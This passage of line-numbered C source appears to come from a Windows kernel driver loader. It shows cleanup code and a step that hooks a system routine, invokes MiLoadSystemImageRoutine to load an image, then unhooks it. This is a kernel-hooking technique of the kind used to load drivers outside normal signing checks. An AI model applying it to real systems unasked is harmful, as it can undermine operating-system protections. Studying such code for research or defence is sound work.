PoolUnloader); 804 | KiExFreePool(Driver, PoolWorker); 805 | 806 | status = STATUS_PROCEDURE_NOT_FOUND; 807 | DEBUG_PRINT_NTSTATUS(status); 808 | return status; 809 | } 810 | 811 | // 812 | // Invoke executor. 813 | // 814 | 815 | status = HookSystemRoutine(Driver, PoolExecutor, Storage); 816 | if NT_SUCCESS (status) { 817 | status = MiLoadSystemImageRoutine(&Context); 818 | UnhookSystemRoutine(Driver, Storage); 819 | } 820 | } 821 | 822 | // 823 | // Release allocation 824 | // 825 | if (PoolExecutor) 826 | KiExFreePool(Driver, PoolExecutor); 827 | 828 | if (PoolWorker) 829 | KiExFreePool(Driver, PoolWorker); 830 | 831 | if NT_ERROR (status) 832 | if (PoolUnloader) 833 | KiExFreePool(Driver, PoolUnloader); 834 | 835 | return status; 836 | } 837 | --------------------------------------------------------------------------------